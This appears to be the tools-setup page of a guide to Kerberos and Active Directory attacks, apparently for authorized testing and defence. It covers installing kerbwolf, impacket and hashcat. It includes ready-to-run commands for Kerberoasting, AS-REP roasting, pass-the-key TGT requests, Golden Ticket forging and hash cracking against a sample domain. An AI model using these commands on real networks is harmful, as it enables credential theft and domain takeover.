Tools Setup¶
Installation and verification of the tools referenced throughout the Attacks section. All Python tools are installed with uv as isolated tool environments - no virtual environment management or pip install required.
Authorized use only
The techniques in this section are documented so that defenders can recognize, detect, and mitigate them, and for authorized security testing, research, and education only. You must have explicit written permission before testing any technique against systems you do not own. Unauthorized access to computer systems is illegal.
Quick Install¶
uv tool install git+https://github.com/StrongWind1/KerbWolf
uv tool install git+https://github.com/fortra/impacket
uv tool install git+https://github.com/StrongWind1/CredWolf
kerbwolf¶
kerbwolf is the primary toolkit for Kerberos roasting and TGT operations used throughout this guide.
Install¶
uv tool install git+https://github.com/StrongWind1/KerbWolf
This installs the main branch, which these pages follow. The 2.0.0 package on PyPI (uv tool install kerbwolf) is older: its kw-extract does not read service tickets from AP-REQs.
Tools¶
| Command | Purpose |
|---|---|
kw-roast |
Kerberoasting - requests TGS-REP tickets and outputs hashcat-compatible hashes |
kw-asrep |
AS-REP roasting - requests AS-REPs for no-preauth accounts |
kw-extract |
Offline pcap parser - extracts AS-REQ, AS-REP, TGS-REP and AP-REQ hashes from captures, and MS-SNTP, NTLM and LDAP simple-bind credentials |
kw-tgt |
TGT acquisition - requests TGTs using passwords, NT hashes, or AES keys (pass-the-key) |
kw-timeroast |
Timeroasting - requests MS-SNTP hashes of computer, gMSA and trust accounts from a DC's time service. Not a Kerberos attack; see kerbwolf's Timeroasting page |
Verify¶
kw-roast --help
kw-asrep --help
kw-extract --help
kw-tgt --help
kw-timeroast --help
Basic Usage¶
# Kerberoast all accounts with SPNs
kw-roast -d CORP.LOCAL --dc-ip 192.0.2.10 -u user -p '<password>' --ldap -o hashes.txt
# AS-REP roast using LDAP discovery
kw-asrep -d CORP.LOCAL --dc-ip 192.0.2.10 -u user -p '<password>' --ldap -o hashes.txt
# Extract hashes from a pcap
kw-extract capture.pcapng -o hashes.txt
# Request a TGT using a password
kw-tgt -d CORP.LOCAL --dc-ip 192.0.2.10 -u user -p '<password>'
# Request a TGT using an NT hash (pass-the-key)
kw-tgt -d CORP.LOCAL --dc-ip 192.0.2.10 -u user -H <NT_HASH>
impacket¶
impacket provides the low-level Kerberos and AD tooling used for ticket manipulation, delegation testing, and golden/silver ticket operations.
Install¶
uv tool install git+https://github.com/fortra/impacket
Key Tools¶
Impacket installs scripts as <name>.py (e.g., getTGT.py):
| Command | Purpose |
|---|---|
getTGT.py |
Request a TGT using a password, NT hash, or AES key |
getST.py |
Request a service ticket (supports S4U2Self and S4U2Proxy) |
describeTicket.py |
Decode and display the contents of a .ccache ticket file |
getPac.py |
Extract and display the PAC from a TGT |
ticketer.py |
Forge Golden and Silver tickets |
secretsdump.py |
Extract credentials from NTDS.dit or over DCSync |
findDelegation.py |
Enumerate delegation configurations in a domain |
addspn.py |
Add or remove SPNs from AD objects |
psexec.py |
Remote execution via SMB (for ticket testing) |
lookupsid.py |
Enumerate domain SIDs |
Verify¶
getTGT.py --help
getST.py --help
ticketer.py --help
Basic Usage¶
# Get a TGT
getTGT.py 'CORP.LOCAL/user:<password>' -dc-ip 192.0.2.10
# Get a service ticket
export KRB5CCNAME=user.ccache
getST.py -spn HTTP/web.corp.local -k -no-pass CORP.LOCAL/user
# Describe a ticket
describeTicket.py user.ccache
# Forge a Golden Ticket
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain CORP.LOCAL administrator
Ticket files and KRB5CCNAME
Impacket tools write tickets to .ccache files and read from the path in the KRB5CCNAME environment variable. Always set export KRB5CCNAME=<path>.ccache before using -k -no-pass to authenticate with a saved ticket.
hashcat¶
hashcat is used to crack hashes extracted by kerbwolf or impacket.
Install¶
git clone https://github.com/hashcat/hashcat
make -C hashcat
./hashcat/hashcat --version
sudo apt install hashcat
wget https://hashcat.net/files/hashcat-8.0.0.7z
7z x hashcat-8.0.0.7z
./hashcat-8.0.0/hashcat --help
brew install hashcat
kerbwolf's lines need a build from source
kerbwolf writes every Kerberos hash in one layout, $krb5tgs$<etype>$user$realm$<checksum>$<edata2> (and the same with $krb5asrep$ and $krb5pa$). hashcat added that layout to modes 7500, 13100, 18200, 19800, 19900, 35300, 35400 and 38500 on its master branch on 2026-11-04, after the v8.0.0 release. A v8.0.0 build loads kerbwolf's lines only in modes 19600, 19700, 32100, 32200 and 38600, and rejects them in the other eight with Token length exception or Separator unmatched. Until the next hashcat release, build from source to crack kerbwolf's RC4 hashes and its pre-authentication hashes.
A packaged or downloaded hashcat is enough for the older shapes that Impacket writes; each roasting page gives them beside the layout above.
Hash Modes¶
The tables below list the RC4, AES128 and AES256 modes. The DES and NT-hash modes, and which hashcat version first has each, are under Crackable Fields.
Kerberoasting ($krb5tgs$)
| Etype | Mode | Example |
|---|---|---|
| RC4-HMAC (23) | 13100 | hashcat -m 13100 hashes.txt wordlist.txt |
| AES128 (17) | 19600 | hashcat -m 19600 hashes.txt wordlist.txt |
| AES256 (18) | 19700 | hashcat -m 19700 hashes.txt wordlist.txt |
AS-REP Roasting ($krb5asrep$)
| Etype | Mode | Example |
|---|---|---|
| RC4-HMAC (23) | 18200 | hashcat -m 18200 hashes.txt wordlist.txt |
| AES128 (17) | 32100 | hashcat -m 32100 hashes.txt wordlist.txt |
| AES256 (18) | 32200 | hashcat -m 32200 hashes.txt wordlist.txt |
AS-REQ Roasting ($krb5pa$, passive pre-auth capture)
| Etype | Mode | Example |
|---|---|---|
| RC4-HMAC (23) | 7500 | hashcat -m 7500 hashes.txt wordlist.txt |
| AES128 (17) | 19800 | hashcat -m 19800 hashes.txt wordlist.txt |
| AES256 (18) | 19900 | hashcat -m 19900 hashes.txt wordlist.txt |
# Wordlist + rules (best starting point for all modes)
hashcat -m 13100 hashes.txt rockyou.txt -r rules/best64.rule
# Brute-force short passwords
hashcat -m 13100 hashes.txt -a 3 ?a?a?a?a?a?a?a?a
Other Tools¶
The following tools appear in specific attack pages but are not covered in detail here:
| Tool | Platform | Install | Used For |
|---|---|---|---|
| Rubeus | Windows (.NET) | Compile or download release | Roasting, ticket injection, S4U chains |
| mimikatz | Windows | Download release | Ticket export, DCSync, Golden/Silver tickets |
| kerbrute | Cross-platform (Go) | Download binary | User enumeration, password spraying |
| BloodHound | Cross-platform | See docs | Delegation path discovery, SPN enumeration |
| krbrelayx | Python | uv tool install git+https://github.com/dirkjanm/krbrelayx |
SPN manipulation (addspn.py), unconstrained delegation abuse |
CredWolf¶
CredWolf is referenced in the Password Spraying and User Enumeration pages for its detailed per-account response classification (valid, disabled, expired, locked, ASREProastable). Installed as part of the Quick Install block above.